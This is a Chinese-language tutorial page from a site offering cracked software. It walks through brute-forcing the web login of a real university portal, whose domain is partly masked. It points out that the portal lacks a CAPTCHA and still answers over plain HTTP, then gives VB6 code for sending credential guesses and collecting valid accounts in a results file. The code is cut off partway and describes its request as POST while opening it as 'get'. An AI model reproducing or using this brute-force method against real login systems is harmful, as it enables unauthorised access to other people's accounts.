免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 软件破解 > VB多进程实现快速web暴力破解

VB多进程实现快速web暴力破解

时间:2011-12-20 17:15来源:未知 整理:寂涯网络 点击:

线程是处理机调度的基本单位,通过创建多线程,我们可以编写高效率的WEB暴力破解
程序。在VB6中,创建多线程相对复杂,本文介绍一个折中的办法,通过创建多个进程,同
样实现高效WEB暴力破解。  

破解示例说明

以西安某大学的校园信息平台破解为例进行说明。它的地址
是: https://portal.XXXX.edu.cn/amserver/UI/Login,如图1所示:

某校园网络登录界面www.jybase.net

此处只需要输入用户名和密码,没有验证码。表单中两个文本框的名称分别是userid
和password。
Post提交的地址是:https://portal.XXXX.edu.cn/amserver/LoginServletLogin,有
的朋友看到以https开头的地址就放弃暴力破解的念头了,因为站点采用了SSL加密传输。然
而简单测试后发现,使用http协议依然可以访问到对应的资源,将https替换为http,提交
登陆信息,Web Server同样会给予回应。

地址变为:http://portal.XXX.edu.cn/amserver/LoginServletLogin。以此为突破口
就可以实现暴力破解了。

程序实现的基本方法

我们需要编写两个程序:一个用于调度的主程序,一个用于测试账号的子程序。
主程序可以定时创建一个新的进程,用于破解指定的用户名和密码,示例创建一个
Thread.exe,将用户名和密码作为参数传递给 Thread.exe,例如,我们需要测试 admin:
123456,那么执行Thread.exe admin 123456即可。
同时,主程序还可以显示破解的结果。
子程序只需要测试指定的账号是否匹配,若匹配,将用户名和密码追加到当前目录下的
temp.out文件中。若账号不匹配,直接退出。

子程序编码

子程序无需用户界面,新建一个VB6工程,命名为“Thread.vbp”。
添加一个标准模块,命名为“ModXmlHttp”,写入 GetCode 函数,它通过创建 XMLhttp
对象进行 Post提交,并返回html 代码。  
'第一个参数CodeBase是设置编码方式(GB2312或UTF-8)
'第二个参数URL是地址.
'第三个参数Data是参数
Public Function GetCode(CodeBase, URL, Data)
    On Error GoTo HandleErr:
    Dim xmlHTTP1
    Set xmlHTTP1 = CreateObject("Microsoft.XMLHTTP")
    xmlHTTP1.Open "get", URL, True
    xmlHTTP1.setRequestHeader "Content-Type",
"application/x-www-form-urlencoded"
    xmlHTTP1.send Data
    While xmlHTTP1.ReadyState <> 4
        DoEvents
    Wend
    GetCode = xmlHTTP1.ResponseBody
    If CStr(GetCode) <> "" Then GetCode = BytesToBstr(GetCode, CodeBase)  
    Set ObjXML = Nothing
    Exit Function
HandleErr:
End Function
Public Function BytesToBstr(strBody, CodeBase)
    Dim ObjStream
    Set ObjStream = CreateObject("Adodb.Stream")
    With ObjStream
   .Type = 1

      .Mode = 3
        .Open
        .write strBody
        .Position = 0
        .Type = 2
        .Charset = CodeBase
        BytesToBstr = .ReadText
        .Close
    End With
    Set ObjStream = Nothing
End Function

 接下来创建一个标准模块“MainModule”,写入以下代码:

Option Explicit
Sub Main()
    Dim UserID As String      '用户名
    Dim PassWord As String    '密码
    Dim Ret() As String
    Ret = Split(Trim(Command), ",")    '拆分参数
    If UBound(Ret) <> 1 Then End       '若不是带两个参数,直接退出

本页地址 http://www.jybase.net/ruanjianpojie/20111218722.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com